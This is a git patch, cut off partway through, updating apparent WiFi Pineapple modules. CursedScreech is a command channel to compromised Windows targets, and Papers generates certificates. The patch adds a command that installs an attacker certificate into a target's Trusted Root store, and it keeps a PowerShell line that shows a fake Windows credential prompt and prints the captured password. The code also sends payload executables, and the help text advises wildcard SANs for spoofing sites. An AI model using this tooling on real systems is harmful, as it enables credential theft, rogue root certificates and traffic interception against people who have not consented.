From 1f4f1248a75044c6657f70b484ff619ccac1aabe Mon Sep 17 00:00:00 2001 From: Nick Date: Mon, 8 Jan 2018 19:11:40 -0500 Subject: [PATCH 1/3] Papers, CursedScreech, and Portal Auth Updates (#5) --- CursedScreech/api/module.php | 32 ++- CursedScreech/includes/changelog/Version 1.3 | 5 + CursedScreech/includes/forest/ezcmds | 1 + CursedScreech/includes/forest/target.py | 250 +++++++++--------- CursedScreech/includes/scripts/testEncrypt.sh | 2 +- CursedScreech/js/module.js | 73 ++++- CursedScreech/module.html | 19 +- CursedScreech/module.info | 4 +- Papers/api/module.php | 120 +++++++-- Papers/includes/changelog/Version 1.5 | 5 + Papers/includes/help/build.help | 7 +- Papers/includes/scripts/buildCert.sh | 31 +-- Papers/includes/scripts/cfgHelper.py | 240 ++++++++--------- Papers/includes/scripts/copyKeys.sh | 4 +- Papers/includes/scripts/encryptKeys.sh | 4 +- Papers/includes/scripts/genSSHKeys.sh | 4 +- Papers/includes/scripts/readKeys.sh | 2 +- Papers/includes/scripts/ssl.cnf | 17 ++ Papers/includes/scripts/testEncrypt.sh | 2 +- Papers/includes/scripts/unpackKeyArchive.sh | 4 +- Papers/js/module.js | 27 +- Papers/module.html | 19 +- Papers/module.info | 2 +- PortalAuth/README.md | 2 - PortalAuth/api/module.php | 16 ++ PortalAuth/js/module.js | 21 +- PortalAuth/module.info | 2 +- 27 files changed, 584 insertions(+), 331 deletions(-) create mode 100644 CursedScreech/includes/changelog/Version 1.3 create mode 100644 Papers/includes/changelog/Version 1.5 create mode 100644 Papers/includes/scripts/ssl.cnf delete mode 100755 PortalAuth/README.md diff --git a/CursedScreech/api/module.php b/CursedScreech/api/module.php index 8791a25..4defeff 100755 --- a/CursedScreech/api/module.php +++ b/CursedScreech/api/module.php @@ -64,6 +64,9 @@ if (!empty($_FILES)) { class CursedScreech extends Module { public function route() { switch ($this->request->action) { + case 'init': + $this->init(); + break; case 'depends': $this->depends($this->request->task); break; @@ -140,6 +143,27 @@ class CursedScreech extends Module { } } + /* ============================ */ + /* INIT FUNCTIONS */ + /* ============================ */ + + private function init() { + if (!file_exists(__LOGS__)) { + if (!mkdir(__LOGS__, 0755, true)) { + $this->respond(false, "Failed to create logs directory"); + return false; + } + } + + if (!file_exists(__API_DL__)) { + if (!mkdir(__API_DL__, 0755, true)) { + $this->logError("Failed init", "Failed to initialize because the API download directory structure could not be created."); + $this->respond(false); + return false; + } + } + } + /* ============================ */ /* DEPENDS FUNCTIONS */ /* ============================ */ @@ -422,7 +446,7 @@ class CursedScreech extends Module { $files = scandir(__API_DL__); $success = true; foreach ($files as $file) { - if ($file == "." || $file == "..") {continue;} + if (substr($file, 0, 1) == ".") {continue;} if (!unlink(__API_DL__ . $file)) { $success = false; } @@ -449,7 +473,7 @@ class CursedScreech extends Module { $files = []; foreach (scandir(__PAYLOADS__) as $file) { - if ($file == "." || $file == "..") {continue;} + if (substr($file, 0, 1) == ".") {continue;} $files[$file] = __PAYLOADS__; } $this->respond(true, null, $files); @@ -521,7 +545,7 @@ class CursedScreech extends Module { $dir = ($type == "error") ? __LOGS__ : (($type == "targets") ? __TARGETLOGS__ : __CHANGELOGS__); $contents = array(); foreach (scandir($dir) as $log) { - if ($log == "." || $log == "..") {continue;} + if (substr($log, 0, 1) == ".") {continue;} array_push($contents, $log); } $this->respond(true, null, $contents); @@ -575,7 +599,7 @@ class CursedScreech extends Module { $keys = scandir($dir); $certs = array(); foreach ($keys as $key) { - if ($key == "." || $key == "..") {continue;} + if (substr($key, 0, 1) == ".") {continue;} $parts = explode(".", $key); $fname = $parts[0]; diff --git a/CursedScreech/includes/changelog/Version 1.3 b/CursedScreech/includes/changelog/Version 1.3 new file mode 100644 index 0000000..9d5c0de --- /dev/null +++ b/CursedScreech/includes/changelog/Version 1.3 @@ -0,0 +1,5 @@ +January 5, 2018 +

+ - Modified hook into Papers to work with the latest release
+ - Added ability to install a certificate on a target Windows machine
+ \ No newline at end of file diff --git a/CursedScreech/includes/forest/ezcmds b/CursedScreech/includes/forest/ezcmds index 358600a..11b2bf9 100755 --- a/CursedScreech/includes/forest/ezcmds +++ b/CursedScreech/includes/forest/ezcmds @@ -1,4 +1,5 @@ Send File:C:\Temp\ +Install Cert:powershell "Import-Certificate -FilePath $cert -CertStoreLocation $store" Get PS Version:powershell "$PSVersionTable" Get SysInfo:powershell "gwmi Win32_QuickFixEngineering | Select Description, HotFixID, InstalledBy, InstalledOn; gwmi Win32_OperatingSystem | Select Caption, ServicePackMajorVersion, OSArchitecture, BootDevice, BuildNumber, CSName, CSDVersion, NumberOfUsers, Version | FL" Windows PSv3+ Phish:powershell "Get-Credential -User $(whoami).Split('\')[1] -Message 'Windows requires your credentials to continue' | % {Write-Host $_.UserName '->' $_.GetNetworkCredential().password}" diff --git a/CursedScreech/includes/forest/target.py b/CursedScreech/includes/forest/target.py index e79eb7e..9fc6fcc 100755 --- a/CursedScreech/includes/forest/target.py +++ b/CursedScreech/includes/forest/target.py @@ -1,126 +1,126 @@ -from ssl import * -from socket import * -import time -import os - -# Pull settings from file -settingsFile = "/pineapple/modules/CursedScreech/includes/forest/settings" -targetLogLocation = "/pineapple/modules/CursedScreech/includes/forest/targetlogs/" -activity_log = priv_key = pub_cer = client_key = client_serial = "" -settings = {} -with open(settingsFile, "r") as sFile: - for line in sFile: - params = line.strip("\n").split("=") - if params[0] == "activity_log": - activity_log = params[1] - elif params[0] == "kuro_key": - priv_key = params[1] + ".pem" - pub_cer = params[1] + ".cer" - elif params[0] == "target_key": - client_key = params[1] + ".cer" - elif params[0] == "client_serial": - client_serial = params[1] - else: - pass - -def logActivity(msg): - with open(activity_log, "a") as log: - log.write(msg + "\n") - -def logReceivedData(data, file): - with open(targetLogLocation + file, "a+") as tLog: - tLog.write(data + "\n") - -class Target: - def __init__(self,addr=None,port=None): - self.addr = addr - self.port = int(port) - self.socket = None - self.msg = "" - self.recvData = "" - self.connected = False - self.lastSeen = time.time() - - def secureConnect(self): - print "[>] Connecting to " + self.sockName() - logActivity("[>] Connecting to " + self.sockName()) - - try: - sck = socket(AF_INET, SOCK_STREAM) - self.socket = wrap_socket(sck, ssl_version=PROTOCOL_SSLv23, keyfile=priv_key, certfile=pub_cer, cert_reqs=CERT_REQUIRED, ca_certs=client_key) - self.socket.settimeout(10) - self.socket.connect((self.addr,self.port)) - self.socket.settimeout(None) - - # Fetch the target's certificate to verify their identity - cert = self.socket.getpeercert() - if not cert['serialNumber'] == client_serial: - logActivity("[-] Certificate serial number doesn't match.") - self.disconnect() - else: - print "[+] Connected to " + self.sockName() + " via " + self.socket.version() - logActivity("[+] Connected to " + self.sockName() + " via " + self.socket.version()) - self.connected = True - - except error as sockerror: - logActivity("[!] Failed to connect to " + self.sockName()) - self.connected = False - - def send(self, data): - if self.isConnected(): - - if "sendfile;" in data: - dataParts = data.split(";") - filePath = dataParts[1] - storeDir = dataParts[2] - self.socket.sendall("sendfile;" + os.path.basename(filePath) + ";" + str(os.path.getsize(filePath)) + ";" + storeDir) - with open(filePath, "rb") as f: - self.socket.sendall(f.read()) - logActivity("[!] File sent to " + self.sockName()) - else: - self.socket.sendall(data.encode()) - logActivity("[!] Command sent to " + self.sockName()) - logReceivedData(data, self.addr) - - - def recv(self): - try: - d = self.socket.recv(4096) - self.recvData = d.decode() - - if not self.recvData: - self.disconnect() - return - - logReceivedData(self.recvData, self.addr) - logActivity("[+] Data received from: " + self.sockName()) - - except KeyboardInterrupt: - return - - except: - self.disconnect() - - def isConnected(self): - return self.connected - - def sockName(self): - return self.addr + ":" + str(self.port) - - def disconnect(self): - logActivity("[!] Closing connection to " + self.sockName()) - try: - self.socket.shutdown(SHUT_RDWR) - except: - pass - self.socket.close() - self.connected = False - - def setPort(self, port): - self.port = int(port) - - def isMissing(self, limit): - if time.time() - self.lastSeen > limit: - return True - else: +from ssl import * +from socket import * +import time +import os + +# Pull settings from file +settingsFile = "/pineapple/modules/CursedScreech/includes/forest/settings" +targetLogLocation = "/pineapple/modules/CursedScreech/includes/forest/targetlogs/" +activity_log = priv_key = pub_cer = client_key = client_serial = "" +settings = {} +with open(settingsFile, "r") as sFile: + for line in sFile: + params = line.strip("\n").split("=") + if params[0] == "activity_log": + activity_log = params[1] + elif params[0] == "kuro_key": + priv_key = params[1] + ".key" + pub_cer = params[1] + ".cer" + elif params[0] == "target_key": + client_key = params[1] + ".cer" + elif params[0] == "client_serial": + client_serial = params[1] + else: + pass + +def logActivity(msg): + with open(activity_log, "a") as log: + log.write(msg + "\n") + +def logReceivedData(data, file): + with open(targetLogLocation + file, "a+") as tLog: + tLog.write(data + "\n") + +class Target: + def __init__(self,addr=None,port=None): + self.addr = addr + self.port = int(port) + self.socket = None + self.msg = "" + self.recvData = "" + self.connected = False + self.lastSeen = time.time() + + def secureConnect(self): + print "[>] Connecting to " + self.sockName() + logActivity("[>] Connecting to " + self.sockName()) + + try: + sck = socket(AF_INET, SOCK_STREAM) + self.socket = wrap_socket(sck, ssl_version=PROTOCOL_SSLv23, keyfile=priv_key, certfile=pub_cer, cert_reqs=CERT_REQUIRED, ca_certs=client_key) + self.socket.settimeout(10) + self.socket.connect((self.addr,self.port)) + self.socket.settimeout(None) + + # Fetch the target's certificate to verify their identity + cert = self.socket.getpeercert() + if not cert['serialNumber'] == client_serial: + logActivity("[-] Certificate serial number doesn't match.") + self.disconnect() + else: + print "[+] Connected to " + self.sockName() + " via " + self.socket.version() + logActivity("[+] Connected to " + self.sockName() + " via " + self.socket.version()) + self.connected = True + + except error as sockerror: + logActivity("[!] Failed to connect to " + self.sockName()) + self.connected = False + + def send(self, data): + if self.isConnected(): + + if "sendfile;" in data: + dataParts = data.split(";") + filePath = dataParts[1] + storeDir = dataParts[2] + self.socket.sendall("sendfile;" + os.path.basename(filePath) + ";" + str(os.path.getsize(filePath)) + ";" + storeDir) + with open(filePath, "rb") as f: + self.socket.sendall(f.read()) + logActivity("[!] File sent to " + self.sockName()) + else: + self.socket.sendall(data.encode()) + logActivity("[!] Command sent to " + self.sockName()) + logReceivedData(data, self.addr) + + + def recv(self): + try: + d = self.socket.recv(4096) + self.recvData = d.decode() + + if not self.recvData: + self.disconnect() + return + + logReceivedData(self.recvData, self.addr) + logActivity("[+] Data received from: " + self.sockName()) + + except KeyboardInterrupt: + return + + except: + self.disconnect() + + def isConnected(self): + return self.connected + + def sockName(self): + return self.addr + ":" + str(self.port) + + def disconnect(self): + logActivity("[!] Closing connection to " + self.sockName()) + try: + self.socket.shutdown(SHUT_RDWR) + except: + pass + self.socket.close() + self.connected = False + + def setPort(self, port): + self.port = int(port) + + def isMissing(self, limit): + if time.time() - self.lastSeen > limit: + return True + else: return False \ No newline at end of file diff --git a/CursedScreech/includes/scripts/testEncrypt.sh b/CursedScreech/includes/scripts/testEncrypt.sh index 10821e1..bffb14f 100755 --- a/CursedScreech/includes/scripts/testEncrypt.sh +++ b/CursedScreech/includes/scripts/testEncrypt.sh @@ -23,7 +23,7 @@ while [ "$#" -gt 0 ] do if [[ "$1" == "-k" ]]; then - KEY="$2.pem" + KEY="$2.key" fi if [[ "$1" == "-d" ]]; then KEYDIR="$2" diff --git a/CursedScreech/js/module.js b/CursedScreech/js/module.js index 0b7cd89..8f20077 100755 --- a/CursedScreech/js/module.js +++ b/CursedScreech/js/module.js @@ -51,6 +51,22 @@ registerController('CursedScreechController', ['$api', '$scope', '$sce', '$inter $scope.newCmdName = ""; $scope.newCmdCommand = ""; $scope.checkAllTargets = false; + $scope.target_installKey = ""; + $scope.certStores = [ + {"ID":"Root", "Name":"Trusted Root Certification Authorities"}, + {"ID":"My", "Name":"Personal"}, + {"ID":"Remote Desktop", "Name":"Remote Desktop"}, + {"ID":"Trust", "Name":"Enterprise Trust"}, + {"ID":"CA", "Name":"Intermediate Certification Authorities"}, + {"ID":"SmartCardRoot", "Name":"Smart Card Trusted Roots"}, + {"ID":"TrustedPublisher", "Name":"Trusted Publishers"}, + {"ID":"TrustedPeople", "Name":"Trusted People"}, + {"ID":"ClientAuthIssuer", "Name":"Client Authentication Issuers"}, + {"ID":"eSIM Certification Authorities", "Name":"eSIM Certification Authorities"}, + {"ID":"Windows Live ID Token Issuer", "Name":"Windows Live ID Token Issuer"}, + {"ID":"Homegroup Machine Certificates", "Name":"Homegroup Machine Certificates"} + ]; + $scope.selectedCertStore = $scope.certStores[0]; // Panes $scope.showTargetPane = true; @@ -62,6 +78,7 @@ registerController('CursedScreechController', ['$api', '$scope', '$sce', '$inter $scope.uploading = false; $scope.selectedPayload = ""; $scope.showPayloadSelect = false; + $scope.showCertSelect = false; // Interval vars $scope.stop; @@ -313,6 +330,8 @@ registerController('CursedScreechController', ['$api', '$scope', '$sce', '$inter if ($scope.showPayloadSelect) { // ex: "sendfile;/pineapple/modules/CursedScreech/includes/payloads/NetCli.exe;C:\Temp\" cmd = "sendfile;" + $scope.payloadDir + $scope.selectedPayload.fileName + ";" + $scope.targetCommand; + } else if ($scope.showCertSelect) { + cmd = "sendfile;" + $scope.target_installKey + ";" + getEZCmd("Send File"); } else { cmd = $scope.targetCommand; } @@ -321,7 +340,23 @@ registerController('CursedScreechController', ['$api', '$scope', '$sce', '$inter action: 'sendCommand', command: cmd, targets: checkedTargets - },function(response){}); + },function(response){ + + // Make a second API call to install the certificate + if ($scope.showCertSelect) { + + cmd = $scope.targetCommand.replace("$cert", getEZCmd("Send File") + $scope.target_installKey.split("/").slice(-1)[0]).replace("$store", "'Cert:\\LocalMachine\\" + $scope.selectedCertStore.ID + "'") + + $api.request({ + module: 'CursedScreech', + action: 'sendCommand', + command: cmd, + targets: checkedTargets + },function(response){}); + + } + + }); }); function getTargetIndex(sock){ @@ -458,23 +493,27 @@ registerController('CursedScreechController', ['$api', '$scope', '$sce', '$inter }); $scope.ezCommandChange = (function(){ + $scope.showPayloadSelect = false; + $scope.showCertSelect = false; if ($scope.selectedCmd === null) { $scope.targetCommand = ""; - $scope.showPayloadSelect = false; return; } for (key in $scope.ezcmds) { if ($scope.ezcmds[key] == $scope.selectedCmd) { if (key == "Send File") { $scope.showPayloadSelect = true; - } else { - $scope.showPayloadSelect = false; + } else if (key == "Install Cert") { + $scope.showCertSelect = true; } } } $scope.targetCommand = $scope.selectedCmd; }); + function getEZCmd(key) { + return $scope.ezcmds[key]; + } /* ============================================= */ /* BEGIN KEY FUNCTIONS */ @@ -484,9 +523,15 @@ registerController('CursedScreechController', ['$api', '$scope', '$sce', '$inter if (type == "kuro") { $scope.selectKuroKey = true; $scope.selectTargetKey = false; + $scope.selectInstallKey = false; } else if (type == "target") { $scope.selectTargetKey = true; $scope.selectKuroKey = false; + $scope.selectInstallKey = false; + } else if (type == "install") { + $scope.selectInstallKey = true; + $scope.selectKuroKey = false; + $scope.selectTargetKey = false; } $api.request({ module: 'CursedScreech', @@ -509,6 +554,8 @@ registerController('CursedScreechController', ['$api', '$scope', '$sce', '$inter $scope.settings_kuroKey = keyPath; } else if ($scope.selectTargetKey == true) { $scope.settings_targetKey = keyPath; + } else if ($scope.selectInstallKey == true) { + $scope.target_installKey = keyPath + ".cer"; } }); @@ -636,7 +683,7 @@ registerController('CursedScreechController', ['$api', '$scope', '$sce', '$inter $http.post("/modules/CursedScreech/api/module.php", fd, { transformRequest: angular.identity, headers: {'Content-Type': undefined} - }).success(function(response) { + }).then(function(response) { for (var key in response) { if (response.hasOwnProperty(key)) { if (response.key == "Failed") { @@ -711,6 +758,22 @@ registerController('CursedScreechController', ['$api', '$scope', '$sce', '$inter $scope.stop = undefined; }); + $scope.init = (function(){ + $api.request({ + module: 'CursedScreech', + action: 'init' + },function(response){ + if (response.success == false) { + if (response.message != '') { + $scope.getLogs(); + } else { + alert(response.message); + } + } + }); + }); + + $scope.init(); $scope.loadAvailableInterfaces(); $scope.loadSettings(); $scope.loadEZCmds(); diff --git a/CursedScreech/module.html b/CursedScreech/module.html index d39ea37..783e293 100755 --- a/CursedScreech/module.html +++ b/CursedScreech/module.html @@ -234,14 +234,27 @@ $(document).on('mouseenter', '.cs_hoverDanger', function() {
-
+

Remote upload path

-
+
+
+
+ +
+
+ +
+
+

Certificate Store

+ +
+
@@ -397,7 +410,7 @@ $(document).on('mouseenter', '.cs_hoverDanger', function() {
- + diff --git a/CursedScreech/module.info b/CursedScreech/module.info index 7c83c87..54cdc2a 100755 --- a/CursedScreech/module.info +++ b/CursedScreech/module.info @@ -6,5 +6,5 @@ "tetra" ], "title": "CursedScreech", - "version": "1.2" -} \ No newline at end of file + "version": "1.3" +} diff --git a/Papers/api/module.php b/Papers/api/module.php index 2c5e1a1..9f7f485 100755 --- a/Papers/api/module.php +++ b/Papers/api/module.php @@ -10,11 +10,10 @@ define('__CHANGELOGS__', __INCLUDES__ . "changelog/"); define('__HELPFILES__', __INCLUDES__ . "help/"); define('__DOWNLOAD__', __INCLUDES__ . "download/"); define('__UPLOAD__', __INCLUDES__ . "upload/"); +define('__SSL_TEMPLATE__', __SCRIPTS__ . "ssl.cnf"); /* - Determine the type of file that has been uploaded and move it to the appropriate - directory. If it's a .zip it is an injection set and will be unpacked. If it is - an .exe it will be moved to __WINDL__, etc. + Import keys */ if (!empty($_FILES)) { $response = []; @@ -55,6 +54,9 @@ class Papers extends Module { public function route() { switch ($this->request->action) { + case 'init': + $this->init(); + break; case 'checkDepends': $this->checkDepends(); break; @@ -105,6 +107,38 @@ class Papers extends Module break; } } + private function init() { + if (!file_exists(__LOGS__)) { + if (!mkdir(__LOGS__, 0755, true)) { + $this->respond(false, "Failed to create logs directory"); + return false; + } + } + + if (!file_exists(__DOWNLOAD__)) { + if (!mkdir(__DOWNLOAD__, 0755, true)) { + Papers::logError("Failed init", "Failed to initialize because the 'download' directory structure could not be created"); + $this->respond(false); + return false; + } + } + + if (!file_exists(__SSLSTORE__)) { + if (!mkdir(__SSLSTORE__, 0755, true)) { + Papers::logError("Failed init", "Failed to initialize because the 'ssl store' directory structure could not be created"); + $this->respond(false); + return false; + } + } + + if (!file_exists(__SSHSTORE__)) { + if (!mkdir(__SSHSTORE__, 0755, true)) { + Papers::logError("Failed init", "Failed to initialize because the 'ssh store' directory structure could not be created"); + $this->respond(false); + return false; + } + } + } private function checkDepends() { $retData = array(); exec(__SCRIPTS__ . "checkDepends.sh", $retData); @@ -159,6 +193,7 @@ class Papers extends Module } private function buildCert($paramsObj) { $certInfo = array(); + $req = array(); $params = (array)$paramsObj; $keyName = (array_key_exists('keyName', $params)) ? $params['keyName'] : "newCert"; @@ -174,28 +209,21 @@ class Papers extends Module if (array_key_exists('bitSize', $params)) { $certInfo['-b'] = $params['bitSize']; } - if (array_key_exists('country', $params)) { - $certInfo['-c'] = $params['country']; - } - if (array_key_exists('state', $params)) { - $certInfo['-st'] = $params['state']; - } - if (array_key_exists('city', $params)) { - $certInfo['-l'] = $params['city']; - } - if (array_key_exists('organization', $params)) { - $certInfo['-o'] = $params['organization']; - } - if (array_key_exists('section', $params)) { - $certInfo['-ou'] = $params['section']; - } - if (array_key_exists('commonName', $params)) { - $certInfo['-cn'] = $params['commonName']; - } - if (array_key_exists('email', $params)) { - $certInfo['-email'] = $params['email']; + + $req[':C:'] = array_key_exists('country', $params) ? $params['country'] : "US"; + $req[':ST:'] = array_key_exists('state', $params) ? $params['state'] : "CA"; + $req[':LOC:'] = array_key_exists('city', $params) ? $params['city'] : "San Jose"; + $req[':ORG:'] = array_key_exists('organization', $params) ? $params['organization'] : "SecTrust"; + $req[':OU:'] = array_key_exists('section', $params) ? $params['section'] : "Certificate Issue"; + $req[':COM:'] = array_key_exists('commonName', $params) ? $params['commonName'] : $keyName; + + if (array_key_exists('sans', $params)) { + $req[':SAN:'] = $params['sans']; } + // Generate an OpenSSL config file + $certInfo['--config'] = $this->generateSSLConfig($keyName, $req); + // Build the argument string to pass to buildCert.sh foreach ($certInfo as $k => $v) { $argString .= $k . " \"" . $v . "\" "; @@ -210,6 +238,9 @@ class Papers extends Module $this->respond(false, "Failed to build key pair. Check the logs for details."); return; } + + // Delete the OpenSSL conf file + unlink($certInfo['--config']); if (array_key_exists('container', $params) || array_key_exists('encrypt', $params)) { $cryptInfo = array(); @@ -256,6 +287,39 @@ class Papers extends Module } $this->respond(true, "Keys created successfully!"); } + + /* + Generates an OpenSSL config file based on the passed in requirements ($req) + and returns the path to the file. + */ + private function generateSSLConfig($keyName, $req) { + $conf = file_get_contents(__SSL_TEMPLATE__); + + foreach ($req as $k => $v) { + $conf = str_replace($k, $v, $conf); + } + + // Add the common name as a SAN + $conf .= "\nDNS.1 = " . $req[':COM:']; + + // Add additional SANs if they were provided + if (isset($req[':SAN:'])) { + $x = 2; + foreach (explode(",", $req[':SAN:']) as $san) { + + // Skip the common name if it was included in the list since + // we already added it above + if ($san == $req[':COM:']) { continue; } + + $conf .= "\nDNS." . $x . " = " . $san; + $x++; + } + } + + $path = __SCRIPTS__ . hash('md5', $keyName . time()) . ".cnf"; + file_put_contents($path, $conf); + return $path; + } private function loadCertificates() { $certs = $this->getKeys(__SSLSTORE__); @@ -268,7 +332,7 @@ class Papers extends Module $keys = scandir($dir); $certs = array(); foreach ($keys as $key) { - if ($key == "." || $key == "..") {continue;} + if (substr($key, 0, 1) == ".") {continue;} $parts = explode(".", $key); $fname = $parts[0]; @@ -323,7 +387,7 @@ class Papers extends Module $contents = scandir($keyDir); $certs = array(); foreach ($contents as $cert) { - if ($cert == "." || $cert == "..") {continue;} + if (substr($cert, 0, 1) == ".") {continue;} $parts = explode(".", $cert); $fname = $parts[0]; $type = "." . $parts[1]; @@ -356,7 +420,7 @@ class Papers extends Module private function clearDownloadArchive() { foreach (scandir(__DOWNLOAD__) as $file) { - if ($file == "." || $file == "..") {continue;} + if (substr($file, 0, 1) == ".") {continue;} unlink(__DOWNLOAD__ . $file); } $files = glob(__DOWNLOAD__ . "*"); @@ -380,7 +444,7 @@ class Papers extends Module $msg = "Failed to delete the following files:"; $keyDir = ($keyType == "SSH") ? __SSHSTORE__ : __SSLSTORE__; foreach (scandir($keyDir) as $cert) { - if ($cert == "." || $cert == "..") {continue;} + if (substr($cert, 0, 1) == ".") {continue;} if (explode(".",$cert)[0] == $delCert) { if (!unlink($keyDir . $cert)) { $res = False; @@ -527,7 +591,7 @@ class Papers extends Module $dir = ($type == "error") ? __LOGS__ : __CHANGELOGS__; $contents = array(); foreach (scandir($dir) as $log) { - if ($log == "." || $log == "..") {continue;} + if (substr($log, 0, 1) == ".") {continue;} array_push($contents, $log); } $this->respond(true, null, $contents); diff --git a/Papers/includes/changelog/Version 1.5 b/Papers/includes/changelog/Version 1.5 new file mode 100644 index 0000000..c6eb0dd --- /dev/null +++ b/Papers/includes/changelog/Version 1.5 @@ -0,0 +1,5 @@ +January 3, 2018

+- Added option to include SANs in certificates
+- Changed key output from .pem to .key
+- Added default Certificate Info if none is included in the build request
+- Fixed a bug where the Certificate Info fields remained after switching to SSH key build mode
diff --git a/Papers/includes/help/build.help b/Papers/includes/help/build.help index a4c6349..0af322b 100755 --- a/Papers/includes/help/build.help +++ b/Papers/includes/help/build.help @@ -20,7 +20,12 @@ This value indicates how long the certificate will be valid. A default value of Signature Algorithm
-SHA-1 is considered to be too weak these days, or it will be soon enough, so SHA-256 is selected by default. +SHA-1 has officially been broken so SHA-256 is selected by default. +

+ + +Subject Alternative Names (SAN)
+A comma-delimited list of SANs. These are alternative names that will be considered valid when verifying the certificate. For example if you're spoofing multiple sites during a pentest you'll want to add SANs (*.company1.com, *.company2.com, *.com).

diff --git a/Papers/includes/scripts/buildCert.sh b/Papers/includes/scripts/buildCert.sh index f87d160..d06d7b8 100755 --- a/Papers/includes/scripts/buildCert.sh +++ b/Papers/includes/scripts/buildCert.sh @@ -23,7 +23,7 @@ help() { echo -e '\t-o,--orgnaization:\t\tOrganization'; echo -e '\t-ou,--organizationalUnit:\tOrganizational Unit'; echo -e '\t-cn,--commonName:\t\tCommon Name'; - echo -e '\t-email,--emailAddress:\t\tEmail Address'; + echo -e '\t--config:\t\t\tOpenSSL config file'; echo ''; } @@ -41,37 +41,37 @@ while [ "$#" -gt 0 ] do if [[ "$1" == "-d" || "$1" == "--days" ]]; then - DAYS="$2"; + DAYS="$2"; fi if [[ "$1" == "-b" || "$1" == "--bitSize" ]]; then - BITSIZE="$2"; + BITSIZE="$2"; fi if [[ "$1" == "-k" || "$1" == "--keyName" ]]; then - KEYNAME="$2"; + KEYNAME="$2"; fi if [[ "$1" == "-sa" || "$1" == "--sigAlgo" ]]; then - SIGALGO="$2"; + SIGALGO="$2"; fi if [[ "$1" == "-c" || "$1" == "--country" ]]; then COUNTRY="$2" fi if [[ "$1" == "-st" || "$1" == "--state" ]]; then - STATE="$2" + STATE="$2" fi if [[ "$1" == "-l" || "$1" == "--locality" ]]; then - LOCALITY="$2" + LOCALITY="$2" fi if [[ "$1" == "-o" || "$1" == "--organization" ]]; then - ORGANIZATION="$2" + ORGANIZATION="$2" fi if [[ "$1" == "-ou" || "$1" == "--organizationalUnit" ]]; then - OU="$2" + OU="$2" fi if [[ "$1" == "-cn" || "$1" == "--commonName" ]]; then - CN="$2" + CN="$2" fi -if [[ "$1" == "-email" || "$1" == "--emailAddress" ]]; then - EMAIL="$2" +if [[ "$1" == "--config" ]]; then + CONF="$2" fi shift @@ -104,14 +104,11 @@ fi if [ -n "$CN" ]; then subj="$subj/CN=$CN"; fi -if [ -n "$EMAIL" ]; then - subj="$subj/emailAddress=$EMAIL"; -fi if [ -n "$subj" ]; then - openssl req -x509 -nodes -batch -days $DAYS -newkey rsa:$BITSIZE -$SIGALGO -keyout $ssl_store$KEYNAME.pem -out $ssl_store$KEYNAME.cer -subj "$subj"; + openssl req -x509 -nodes -batch -days $DAYS -newkey rsa:$BITSIZE -$SIGALGO -keyout $ssl_store$KEYNAME.key -out $ssl_store$KEYNAME.cer -subj "$subj"; else - openssl req -x509 -nodes -batch -days $DAYS -newkey rsa:$BITSIZE -$SIGALGO -keyout $ssl_store$KEYNAME.pem -out $ssl_store$KEYNAME.cer; + openssl req -x509 -nodes -batch -days $DAYS -newkey rsa:$BITSIZE -$SIGALGO -keyout $ssl_store$KEYNAME.key -out $ssl_store$KEYNAME.cer -config $CONF; fi echo "Complete"; diff --git a/Papers/includes/scripts/cfgHelper.py b/Papers/includes/scripts/cfgHelper.py index 90d448a..fb48f51 100755 --- a/Papers/includes/scripts/cfgHelper.py +++ b/Papers/includes/scripts/cfgHelper.py @@ -1,121 +1,121 @@ -# Author: sud0nick -# Date: Apr 2016 - -from subprocess import call -import os - -class ConfigHelper: - - def __init__(self, sslDir = "/etc/nginx/ssl/"): - self.nginxConf = "/etc/nginx/nginx.conf" - self.lines = [f for f in open(self.nginxConf)] - self.ssl_dir = sslDir - self.serverBlockIndex = self.getServerBlockIndex() - self.currentSSLCerts = self.getCurrentSSLCerts() - - - def checkSSLCertsExist(self): - flags = [".pem", ".cer"] - if os.path.isdir(self.ssl_dir): - for file in os.listdir(self.ssl_dir): - for flag in flags: - if flag in file: - flags.remove(flag) - if flags: - return False - else: - return True - - def getCurrentSSLCerts(self): - certs = [] - index = self.serverBlockIndex - for line in self.lines[index:]: - if "ssl_certificate" in line: - i = line.rfind("/") - certs.append(line[i+1:].strip(";\n")) - - return certs - - - def getServerBlockIndex(self): - index = 0 - for line in self.lines: - if ("listen" in line) and not ("80" in line or "443" in line): - return index - index = index + 1 - - return False - - - def checkSSLConfigStatus(self): - index = self.serverBlockIndex - for line in self.lines[index:]: - if "1471 ssl;" in line: - return True - - return False - - - def addSSLConfig(self, keyName): - - # Check if SSL has already been configured for port 1471 - if self.checkSSLConfigStatus(): - return True - - index = 0 - cert = keyName + ".cer" - key = keyName + ".pem" - - with open(self.nginxConf, "w") as out: - for line in self.lines: - if index == self.serverBlockIndex: - line = "\t\tlisten\t1471 ssl;\n" - - if index > self.serverBlockIndex: - if "root /pineapple/;" in line: - self.lines.insert(index + 1, "\t\tssl_certificate /etc/nginx/ssl/" + cert + ";\n" - "\t\tssl_certificate_key /etc/nginx/ssl/" + key + ";\n" - "\t\tssl_protocols TLSv1 TLSv1.1 TLSv1.2;\n") - index = index + 1 - out.write(line) - call(["/etc/init.d/nginx", "reload"]) - - return True - - def replaceSSLConfig(self, newKey): - cert = newKey + ".cer" - key = newKey + ".pem" - currentKey = self.currentSSLCerts[0].rsplit(".")[0] - index = 0 - - with open(self.nginxConf, "w") as out: - for line in self.lines: - if index > self.serverBlockIndex: - if (currentKey + ".cer") in line: - line = "\t\tssl_certificate /etc/nginx/ssl/" + cert + ";\n" - - if (currentKey + ".pem") in line: - line = "\t\tssl_certificate_key /etc/nginx/ssl/" + key + ";\n" - - index = index + 1 - out.write(line) - - call(["/etc/init.d/nginx", "reload"]) - - - def removeSSLConfig(self): - index = 0 - with open(self.nginxConf, "w") as out: - for line in self.lines: - if index == self.serverBlockIndex: - line = "\t\tlisten\t1471;\n" - - if index > self.serverBlockIndex: - if "ssl_certificate" in line or "ssl_protocols" in line: - continue - - index = index + 1 - out.write(line) - - call(["/etc/init.d/nginx", "reload"]) +# Author: sud0nick +# Date: Apr 2016 + +from subprocess import call +import os + +class ConfigHelper: + + def __init__(self, sslDir = "/etc/nginx/ssl/"): + self.nginxConf = "/etc/nginx/nginx.conf" + self.lines = [f for f in open(self.nginxConf)] + self.ssl_dir = sslDir + self.serverBlockIndex = self.getServerBlockIndex() + self.currentSSLCerts = self.getCurrentSSLCerts() + + + def checkSSLCertsExist(self): + flags = [".key", ".cer"] + if os.path.isdir(self.ssl_dir): + for file in os.listdir(self.ssl_dir): + for flag in flags: + if flag in file: + flags.remove(flag) + if flags: + return False + else: + return True + + def getCurrentSSLCerts(self): + certs = [] + index = self.serverBlockIndex + for line in self.lines[index:]: 